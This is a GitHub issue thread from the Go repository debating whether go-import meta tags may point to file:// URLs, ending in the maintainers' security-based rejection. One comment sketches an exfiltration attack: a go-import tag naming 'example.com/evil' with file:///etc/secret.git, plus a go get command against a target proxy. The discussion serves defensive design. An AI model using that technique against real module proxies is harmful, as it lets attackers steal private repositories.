search

golang / go

The Go programming language
https://go.dev
BSD 3-Clause "New" or "Revised" License
123.85k stars 17.65k forks source link

cmd/go: allow go-import tags to point to file:// URLs #37832

Closed perillo closed 4 years ago

perillo commented 4 years ago

What version of Go are you using (go version)?

$ go version
go version go1.14 linux/amd64

Does this issue reproduce with the latest release?

Yes.

What operating system and processor architecture are you using (go env)?

go env Output
$ go env
GO111MODULE="on"
GOARCH="amd64"
GOBIN="/home/manlio/.local/bin"
GOCACHE="/home/manlio/.cache/go-build"
GOENV="/home/manlio/.config/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOINSECURE="test.local"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/manlio/.local/lib/go:/home/manlio/src/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/usr/lib/go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/usr/lib/go/pkg/tool/linux_amd64"
GCCGO="gccgo"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/dev/null"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build365401052=/tmp/go-build -gno-record-gcc-switches"
GOROOT/bin/go version: go version go1.14 linux/amd64
GOROOT/bin/go tool compile -V: compile version go1.14
uname -sr: Linux 5.5.8-arch1-1
/usr/lib/libc.so.6: GNU C Library (GNU libc) stable release version 2.31.
gdb --version: GNU gdb (GDB) 9.1

What did you do?

I'm writing an HTTP server that implements vanity import paths for local modules. Given an HTTP request, it searches the module in GOPATH and return an HTML page implementing the go-get protocol, but using the file scheme instead of https.

Example:

<html>
  <head>
    <meta name="go-import"
          content="test.local/term git file:///home/manlio/src/go/src/test.local/term">
    </meta>
  </head>
</html>

go get -insecure test.local/term works correctly with go1.12 but does not work with the current version, due to https://golang.org/cl/181037.

The commit message says that the change was to add support to file:// URLs, but it actually added

    if url.Scheme == "file" {
        return errors.New("file scheme disallowed")
    }

that prevents the file scheme from working.

I have commented that code in gotip, and go get works fine. Why disallow the file scheme? As far as I understand, the repo-root will be consumed by git, not the go tool.

bcmills commented 4 years ago

The CL in question enabled the use of file:// URLs as GOPROXY targets.

For go-import metadata, I think it would be reasonable to allow file:// URLs for paths matching GOINSECURE patterns, but probably not for other paths generally: a file:// URL would potentially allow an attacker to exfiltrate the contents of any local git repository on a proxy host as long as they could guess the file path to that repository.

CC @matloob @jayconrod @FiloSottile @katiehockman

jayconrod commented 4 years ago

Since you're implementing an HTTP server anyway, why not implement the GOPROXY protocol and have the go-import point to the same server instead of a git repository?

<meta name="go-import" content="test.local/term mod https://example.com/test.local/term">

A file:// URL introduces significant security issues and almost certainly won't work in direct mode.

perillo commented 4 years ago

In fact the server is available using HTTP and not HTTPS, since, being on localhost, a trusted certificate is not necessary and I don't want to install a self signed certificate in the system.

Thanks.

bcmills commented 4 years ago

Since you're implementing an HTTP server anyway, why not implement the GOPROXY protocol

A go-import server is much simpler (and probably less resource-intensive) than a GOPROXY server.

I don't see any fundamental technical reason why a file:// URL wouldn't work in direct mode, given appropriate entries in GOPRIVATE and GOINSECURE.

perillo commented 4 years ago

I do plan to also implement the GOPROXY protocol, but only because it is interesting and I plan to implement a custom module synthesizing function (designed for local modules, with a simple implementation), instead of using go mod download as it is done by Athens.

The advantage of a GOPROXY HTTP server is that it does not need to listen on the reserved port 80. However, as far as I know, it is not possible to tell the go tool to access the proxy via HTTP.

perillo commented 4 years ago

I have to correct myself. The GOPROXY environment variables do include the URL scheme. It is GOSUMDB that only has the host name; sorry.

bcmills commented 4 years ago

as far as I know, it is not possible to tell the go tool to access the proxy via HTTP.

If there is an appropriate entry in the GOINSECURE environment variable, then the go tool should fall back to HTTP after HTTPS fails.

However, there is no way to tell the go command to use a non-default port to contact the server for a given module path, and I don't think such a mechanism would be worth its complexity at this point.

perillo commented 4 years ago

@bcmills

$ go env -w GOPROXY="https://proxy.golang.org:80,direct"
$ go get golang.org/x/mod
go get golang.org/x/mod: module golang.org/x/mod: Get "https://proxy.golang.org:80/golang.org/x/mod/@v/list": http: server gave HTTP response to HTTPS client

And with a non standard port:

$ go env -w GOPROXY="https://proxy.golang.org:8080,direct"
$ go get golang.org/x/mod
go get golang.org/x/mod: module golang.org/x/mod: Get "https://proxy.golang.org:8080/golang.org/x/mod/@v/list": dial tcp 216.58.208.145:8080: i/o timeout
bcmills commented 4 years ago

Port 80 should be http://, not https://.

jayconrod commented 4 years ago

I have to correct myself. The GOPROXY environment variables do include the URL scheme. It is GOSUMDB that only has the host name; sorry.

GOSUMDB may optionally include a public key and URL. See go help module-auth.

GOSUMDB="sum.golang.org+<publickey> https://sum.golang.org"

Also, a GOPROXY may proxy the checksum database. Not sure if that's actually documented anywhere though.

gopherbot commented 4 years ago

Change https://golang.org/cl/223339 mentions this issue: cmd/go/internal/get: allow file:// URLs for insecure paths

bcmills commented 4 years ago

Posted a CL for consideration. I'm still not sure whether we want it, but behind the GOINSECURE guard it could be acceptable (if someone wants to add integration tests).

perillo commented 4 years ago

Thanks.

As I wrote, it would be useful for allowing the use of local private modules without having to change too many configuration files (like insteadOf in ~/.gitconfig).

With an HTTP server implementing the go-get protocol, it is only necessary to set GOINSECURE and GONOSUMDB.

As an example:

go env -w GOINSECURE="*.local" GONOSUMDB="*.local"

These variables can be automatically set by the server at startup. The server will also ensure that the domain is a reserved TLD and that it resolves to a loopback address.

perillo commented 4 years ago

@bcmills: what contract should try to prove the integration test?

bcmills commented 4 years ago

@perillo, I think the go command should reject the file:// URL from the go-import metadata when GOINSECURE does not cover the module, and should accept it and download the module when GOINSECURE does cover it.

(But I'd want to get a consensus on that from the others I CC'd before actually committing to that behavior.)

perillo commented 4 years ago

Can you clarify the exfiltration attack you mentioned? I'm still not sure to understand who is the attack target.

I have tried to google for exfiltration attacks against git, and found only https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10857.

Thanks.

perillo commented 4 years ago

Also note that one can implement a custom remote protocol https://mirrors.edge.kernel.org/pub/software/scm/git/docs/gitremote-helpers.html

So I don't think that the file protocol poses a real security problem. After all it is the owner of the repository that choose how to make it available to a remote peer.

bcmills commented 4 years ago

Suppose that I know (perhaps because the server's code and configuration are open-source) that a server running some GOPROXY implementation happens to have a Git repository stored at /etc/secret.git.

Then I could set up a server at example.com that responds with:

<meta name="go-import" content="example.com/evil git file:///etc/secret.git">

Then I could run GOPROXY=$TARGET go get -d example.com/evil in order to obtain the contents of that repository as seen by the proxy. (It's more-or-less equivalent to a standard directory-traversal vulnerability, but only for directories containing valid VCS repositories.)

So a public proxy generally should not follow a file:// URL obtained from a go-import tag, which means that the go command itself should not follow those URLs by default.

perillo commented 4 years ago

Thanks.

Is it correct to say that this is a problem of missing validation by a server software (the GOPROXY implementation)?

The go tool is a client, so I don't think this attack is possible against it.

bcmills commented 4 years ago

Is it correct to say that this is a problem of missing validation by a server software (the GOPROXY implementation)?

No, that is not correct. A GOPROXY implementation should be able to use the go command unmodified in its implementation, without the need for extra validation of URLs that the go command consumes internally.

perillo commented 4 years ago

Isn't this in contrast with https://golang.org/pkg/archive/zip/#FileHeader ?

Thanks.

bcmills commented 4 years ago

What does archive/zip have to do with it?

cmd/go fetches the go-import metadata and then the pointed-to repository without any user intervention in between those two steps. There is no opportunity for the user to do any sort of additional validation today.

perillo commented 4 years ago

git config --global protocol.file.allow never.

$ go get test.local/example
go get test.local/example: module test.local/example: git ls-remote -q origin in /home/manlio/.local/lib/go/pkg/mod/cache/vcs/8716409d048022a057295e10ee0ab97459a47ddd0bf93be13bb3c78ff93e0c3b: exit status 128:
    fatal: transport 'file' not allowed
bcmills commented 4 years ago

The git config option allows users to explicitly opt-in to a more secure configuration. But that seems backwards: the secure configuration should be the default, and the less-secure configuration should be opt-in (as is the case today with GOINSECURE).

perillo commented 4 years ago

From the point of view of the user of the git command, the file protocol is secure, and it would be very inconvenient if it is not allowed.

The protocol policy was added in this commit: https://github.com/git/git/commit/f1762d772e9b415a3163abf5f217fc3b71a3b40e

Note how the git team consider the file protocol secure. The policy also have an option to disallow protocols used without direct user intervention.

perillo commented 4 years ago

I think that the problem of a Go module proxy implemented using the go tool is that it has no way to know what vcs repository is being processed. Fetching the repository is not the problem (the file scheme is considered secure by Git); the problem is returning the Go module to the user without validation.

What about updating the Info struct, adding the following fields:

 VCS      string // the vcs used to fetch the module
 RepoRoot string // the vcs repository URL used to fetch the module

Thanks

bcmills commented 4 years ago

As noted earlier, there is no point of user interaction in between the go command receiving the go-import metadata and downloading the indicated repository.

The insecurity is not in the file protocol itself: it is is the transition from the http or https protocol to file, since http and https responses (unlike file data) are in general outside of the user's control.

perillo commented 4 years ago

I assume that the flow of a Go proxy is

  1. proxy invokes go mod download <module>
  2. go finds the repo-root and fetches the remote repository
  3. go synthesizes the module and store it in the module cache
  4. proxy returns the cached data from the module cache to the user

The security is in 4, since when using the file scheme, the proxy may return to the user a private module.

With the additional fields in the Info struct, the proxy can check what repo-url was used and validate it.

These fields can also be used for statistical purpose.

bcmills commented 4 years ago

Yes, that is correct.

Security at step (4) requires the user to explicitly check for metadata. We want the default behavior — without checking metadata — to be secure, so step (3) must not succeed in the insecure scenario unless the user has taken explicit action to opt-in.

FiloSottile commented 4 years ago

Sorry for taking so long to respond.

The problem with this proposal is that it mixes remote and local contexts. A remote, untrusted, potentially attacker-controlled source gets to make the go client perform actions on a local resource, which would otherwise not be accessible to the attacker. That's recipe for disaster.

Beyond the proxy example @bcmills already identified, any behaviors that surface contents of a module being fetched become attacker controlled. For example if that module has some secret dependencies, they will presumably be fetched.

Gating it behind GOINSECURE is stretching the semantic of that setting. Currently, it's saying "I know the integrity and privacy of what I'm fetching won't be protected" but not "I know what I am fetching might hurt me". If you fetch something with GOINSECURE and then not execute it, it's not supposed to lead to remote code execution or information leakage.

To draw a parallel with browsers, this is the difference between HTTPS warnings (for which GOINSECURE is the equivalent bypass) and the Same Origin Policy. Note how you can't embed an <img> with a file:// URL in a page served over http://.

This will be a massive security liability, and I strongly recommend against implementing it.

perillo commented 4 years ago

Thanks for the response.

If file scheme will not be supported, than the documentation should be updated, since it is allowed by Git. Also, I think it was a mistake to remove the file scheme in a completely different commit, without an explanation of the security issues.

As for my proxy, I have implemented the Git HTTP protocol, so the http scheme is now the default, with the user being able to specify file or ssh.

perillo commented 4 years ago

I think this issue can be closed.

Thanks.